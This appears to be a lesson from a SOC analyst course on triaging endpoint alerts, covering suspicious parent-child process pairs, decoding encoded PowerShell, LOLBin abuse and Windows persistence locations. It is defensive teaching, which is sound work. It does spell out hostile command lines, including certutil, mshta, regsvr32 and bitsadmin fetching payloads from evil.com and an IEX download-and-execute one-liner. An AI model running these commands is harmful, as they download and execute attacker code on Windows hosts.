Lesson 2 of 6 · 30 min read

Endpoint Playbook — Process Ancestry, LOLBins, and Persistence

Endpoint alerts are the most common alert class in most enterprise SOCs, and the most complex to investigate well. The key skill is reading the process tree — understanding what spawned what, in what order, from what path, with what arguments.


The Endpoint Pivot Chain

Every endpoint investigation follows this sequence. Some steps will be irrelevant (no network connection, no file drops) — document those as findings too (“no lateral connections observed”).

1. Read alert (what rule, which process, what user, which host)
2. Known FP check
3. Enrich (user role, host criticality, asset context)
4. Parent process chain
5. Child processes
6. Command-line analysis (decode if encoded)
7. Network connections from this process
8. File writes / drops
9. Registry modifications
10. Persistence mechanisms check
11. Lateral scope (did this host touch others?)

Step 4: Parent Process Chain

The highest-signal parent-child anomalies:

Child ProcessSuspicious ParentWhy Suspicious
powershell.exewinword.exe, excel.exe, outlook.exeOffice macro execution (T1566.001 + T1059.001)
cmd.exewinword.exe, excel.exeDocument-embedded command execution
wscript.exewinword.exe, excel.exeVBS/JScript macro abuse
mshta.exeany Office appHTML Application execution from document
regsvr32.exewinword.exe, cmd.exeSquiblydoo technique — unsigned COM execution
certutil.exepowershell.exeDownload and decode (T1105 + T1140)
powershell.exerundll32.exeDLL-side loaded PowerShell
cmd.exeservices.exeService executing a cmd shell — rare and suspicious

Step 6: Command-Line Analysis

The command line is the most information-dense field in an endpoint alert. Learn to read it.

Encoded commands

PowerShell encodes commands with -EncodedCommand (or -enc, -e):

powershell.exe -nop -w hidden -enc JABjAGwAaQBlAG4AdAAgAD0A...

Decode: [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JABj...'))

Or use CyberChef: “From Base64” → “Decode text (UTF-16LE)”.

Always decode before forming a hypothesis. The encoded string is the attacker hiding the payload.

Common obfuscation patterns

PatternWhat it hidesExample
-enc / -EncodedCommandFull PowerShell scriptpowershell -enc JABj...
String concatenationBinary path or URL"po"+"wershell"
Character substitutionBypasses string-match^c^md /c whoami
Environment variablePath to executable%COMSPEC% /c whoami
Alternate data streamHidden payloadcertutil -decode payload.txt:hidden.exe
IEX / Invoke-ExpressionExecutes downloaded codeIEX (New-Object Net.WebClient).DownloadString(...)

LOLBAS patterns to memorize

# certutil — download
certutil.exe -urlcache -split -f http://evil.com/payload.exe C:\Temp\payload.exe

# mshta — execute remote HTA
mshta.exe http://evil.com/payload.hta

# regsvr32 — squiblydoo
regsvr32.exe /u /s /i:http://evil.com/payload.sct scrobj.dll

# bitsadmin — download
bitsadmin /transfer myJob http://evil.com/payload.exe C:\Temp\payload.exe

# wscript — execute script
wscript.exe //B //NoLogo C:\Temp\payload.vbs
LOLBAS Project — Living off the Land Binaries and Scripts— LOLBAS Community

Steps 9–10: Persistence Mechanisms

Once you’ve confirmed a TP or have a strong TP hypothesis, check persistence — attackers rarely want their access to end when the session does.

Windows persistence locations (by frequency in the wild)

MechanismRegistry path / LocationDetection
Run keyHKCU\Software\Microsoft\Windows\CurrentVersion\RunSysmon Event 13 (RegistryValue Set)
Scheduled taskC:\Windows\System32\Tasks\EVTX 4698, Sysmon 1 (schtasks /create)
ServiceHKLM\SYSTEM\CurrentControlSet\Services\EVTX 7045 (new service installed)
Startup folder%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Sysmon 11 (file created)
WMI subscriptionWMI root\subscription namespaceSysmon 19, 20, 21
DLL hijackingApplication directory with missing DLLSysmon 7 (image loaded)

Putting It Together: Disposition Format

After completing the endpoint playbook, your disposition should answer:

  1. What process, on what host, with what command?
  2. What was the parent? Is the relationship suspicious?
  3. What did the command actually do? (decoded)
  4. Did it make any network connections? To what?
  5. Did it drop or modify files?
  6. Did it establish persistence?
  7. Has it touched other hosts?
  8. ATT&CK techniques:
  9. Disposition and next action: